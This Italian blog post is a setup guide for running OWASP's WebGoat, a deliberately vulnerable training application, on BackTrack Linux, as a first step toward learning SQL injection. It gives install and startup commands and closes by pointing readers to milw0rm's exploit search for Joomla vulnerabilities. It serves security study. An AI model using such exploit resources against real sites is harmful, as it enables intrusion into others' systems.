<p>Questa notizia l&#8217; ho appresa dal sito di <a href="http://www.irongeek.com/" title="irongeek" target="_blank"><b>IronGeek</b></a> , che ha realizzato un <a href="http://irongeek.com/i.php?page=videos/webgoat-sql-injection" title="videoguidaWebGoatWindows" target="_blank">video-guida</a> per l&#8217;installazione di <b>WebGoat</b> in ambiente <b>Windows</b> , io ne ho fatta una tutta mia per installare <b>WebGoat</b> , su <b>backtrack.</b></p>
<p>Cos&#8217;é il <b>WebGoat</b>? , ed in quale modo può rendersi utile allo scopo che ci interessa maggiornmente ora?    Vediamo:</p>
<p>Innanzitutto dedichiamo qualche riga all&#8217; <b>OSWAP </b>, ovvero &#8220;Open Web Application Security Project&#8221; , che è una comunità molto attiva , che ha lo scopo di diffondere tramite i suoi progetti opensource , la websecurity , attraverso progetti come il WebGoat , fà in modo che gli utenti riescano ad apprendere le nozioni principali della sicurezza.</p>
<p>Il WebGoat è , a mio avviso , un ottimo strumento , che permette ad ogni utente <b>volenteroso</b> di apprendere il più possibile sul campo.</p>
<p><b>WebGoat</b> è scritto in <b>Java</b> , e quindi può essere avviato su  una <b>Java Virtual Machine</b> che ospiti un <b>application server J2EE compliant</b>. Nel nostro caso , sulla nostra <b>backtrack</b> , installeremo il <b><a href="http://tomcat.apache.org/" title="Apache TomCat" target="_blank">TomCat</a></b>  , tre programmi (due moduli *.mo e un *.tgz) , che ci permetteranno di avviare ed utilizzare il <b>WebGoat.</b></p>
<p><a href="http://carlitobrigante.files.wordpress.com/2007/11/tomcat.gif" title="tomcat.gif"><img src="http://carlitobrigante.files.wordpress.com/2007/11/tomcat.gif" alt="tomcat.gif" /></a><a href="http://carlitobrigante.files.wordpress.com/2007/11/images.jpeg" title="images.jpeg"><img src="http://carlitobrigante.files.wordpress.com/2007/11/images.jpeg" alt="images.jpeg" align="right" /></a></p>
<p>Innanzitutto tramite i repository di <a href="http://www.slacky.eu/" title="Slacky.eu" target="_blank">Slacky.eu</a> , scarichiamo il pacchetto <a href="http://www.slacky.eu/repository/slackware-11.0/development/jdk/1.6.0/jdk-1.6.0-i586-1sl.tgz" title="JDK @slacky.eu" target="_blank">JDK.tgz</a></p>
<p>Dopodiché dalla pagina di download di <a href="http://www.slax.org/">slax</a>  , scarichiamo il modulo per <a href="http://slax.hosting4p.com/modules.php?category=develop&amp;id=1014&amp;name=Java+2+-+JDK" title="java JDK -1.5.006" target="_blank">Java</a> , e chi vuole per <a href="http://slax.hosting4p.com/modules.php?category=develop&amp;id=2367&amp;name=JDK+%28Java+Development+Kit%29" title="Java_JDK_developpment" target="_blank">Java_developpment</a></p>
<p>Una volta fatti i download , da Shell , date il comando :</p>
<p><b>installpkg nomepacchettoJAVA.tgz</b></p>
<p>assicurandoci di essere <b>root</b> e nella corretta directory , per chi vuole fare come me , si apra la Shell , direttamente dentro la directory in cui si è scaricati il pacchetto , e dopo aver dato <b>installpkg </b>trascinate il <b>*.tgz  </b>fin dentro la konsole , date l&#8217; invio , e aspettate il termine dell&#8217; installazione.(Naturalmente se siete <b>root</b> , il download , se non avete cambiato le cose in precedenza , viene fatto direttamente in <b>/root</b> , e non vi servirà nemmeno di cambiare directory per fare queste operazioni).</p>
<p>Per i moduli invece stessa procedura di sempre , in konsole date i comandi:</p>
<p><b>mo2lzm nomepacchettoJAVA nomepacchettoJAVA.lzm            <i> </i></b><i>*** da fare per tutti e due i moduli ***</i></p>
<p>Una volta covertiti i moduli in <b>*.lzm</b> , date i comandi</p>
<p><b>lzm2dir nomepacchettoJAVA.lzm /                                          </b><i>*** da fare per tutti e due i moduli ***</i></p>
<p>una volta effettuate queste operazioni scaricate tramite <a href="http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=61824" title="WebGoat @sourceforge" target="_blank"><b>Sourceforge.net</b></a> l&#8217;archivio di <b>WebGoat</b> (ovviamente quello per <b>UNIX</b>) , ed estraetene  il contenuto in una cartella che può essere ad esempio:   <b>/usr/local</b></p>
<p>Una volta eseguita l&#8217;estrazione di <b>WebGoat</b> , andiamo ad aprire con il nostro editor di testi preferito , ad esempio <b>kate</b> , il file <b>webgoat.sh </b>, e al suo interno alla riga con il seguente contenuto :</p>
<p><b>         JAVA_HOME=&#8221;Set me to a Java 1.5 JDK install&#8221;</b></p>
<p>cambiate la <i><b>PATH</b></i> secondo la vostra installazione , che in <b>backtrack</b> altro non può essere che:</p>
<p><b>        JAVA_HOME=/usr/lib/jre1.5.0_09</b></p>
<p>Naturalmente il nome dipende dalla versione di Java che avete installato , ma se avete scaricato i pacchetti che ho linkato in quest&#8217; articolo , non possono esserci dei dubbi.</p>
<p>Una volta  fatta questa operazione , apritevi una Shell , e digitate:</p>
<p><b>sh webgoat.sh start80</b></p>
<p>In questo modo farete partire il webserver TomCat e con WebGoat , e per incominciare ad apprendere tramite le lezioni di WebGoat , vi basterà andare con <b>Konqueror</b> o <b>Firefox</b> all&#8217; indirizzo seguente dopo aver inserito username e password &#8220;<b>guest</b>&#8221; e &#8220;<b>guest</b>&#8220;</p>
<p><b>http://127.0.0.1:80/ WebGoat/attack/</b></p>
<p>Per fermarlo , ovvio:</p>
<p><b>sh webgoat.sh stop</b></p>
<p>Siamo così arrivati alla fine dell&#8217; articolo.</p>
<p>Quest&#8217;articolo l&#8217;ho fatto per crearmi , e per creare in chi volesse leggermi , un&#8217;idea ben precisa di quello che può essere la tecnica dell&#8217; <b>SQL-Injection</b> , senza alcuna dimostrazione e senza l&#8217; uso alcuno dei tool che ci mette a disposizione la backtrack , appena posso lo farò , per adesso mi accontento di aver creato , almeno spero , una idea chiara e precisa di del tema trattato , anche perché credo che non si possa capire come creare un SQL-Injection , senza sapere com&#8217; è strutturato un webserver , e credo , tramite l&#8217; installazione di WebGoat in backtrack , di aver messo a disposizione una guida all&#8217; uso di uno strumento molto valido , che per coloro che , come me , vogliono apprendere il più possibile , è una cosa fondamentale. Naturalmente non posso non linkare il manuale del <a href="http://it.php.net/manual/it/index.php" title="manuale php" target="_blank">PHP</a>    e <a href="http://dev.mysql.com/doc/refman/5.0/en/select.html" title="manuale SQL" target="_blank">SQL</a><br />
Spero di avere il tempo necessario a fare un articolo sull&#8217; uso degli strumenti presenti in backtrack , e che riguardano l&#8217;uso dei tool inseriti nella backtrack , sperando di riuscirci , in locale , tramite i webserver e i pacchetti installati e che ho descritto in quest&#8217; articolo.</p>
<p>Intanto , visto che ho scelto il CSM joomla! , per chi volesse studiarsi degli Exploit , cliccando sull&#8217; immagine quì sotto verrete riportati alla pagina di milw0rm.com , con i risultati di ricerca per le vulnerabilità sui componenti di joomla!   Vi basterà inserire nella barra di ricerca la parola&#8221;<b>joomla</b>&#8220;.</p>
<p><a href="http://www.milw0rm.com/search.php" target="_blank" title="milw0rm-wi.jpg">                                              <img src="http://carlitobrigante.files.wordpress.com/2007/11/milw0rm-wi.jpg" alt="milw0rm-wi.jpg" /></a></p>
<p><b>Noi ci vediamo alla seconda parte dell&#8217; SQL-Injection , riguardante appunto l&#8217; &#8220;analisi e attacco&#8221;</b></p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/carlitobrigante.wordpress.com/89/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/carlitobrigante.wordpress.com/89/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/carlitobrigante.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/carlitobrigante.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/carlitobrigante.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/carlitobrigante.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/carlitobrigante.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/carlitobrigante.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/carlitobrigante.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/carlitobrigante.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/carlitobrigante.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/carlitobrigante.wordpress.com/89/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=89&subd=carlitobrigante&ref=&feed=1" /></div>]]></content:encoded>
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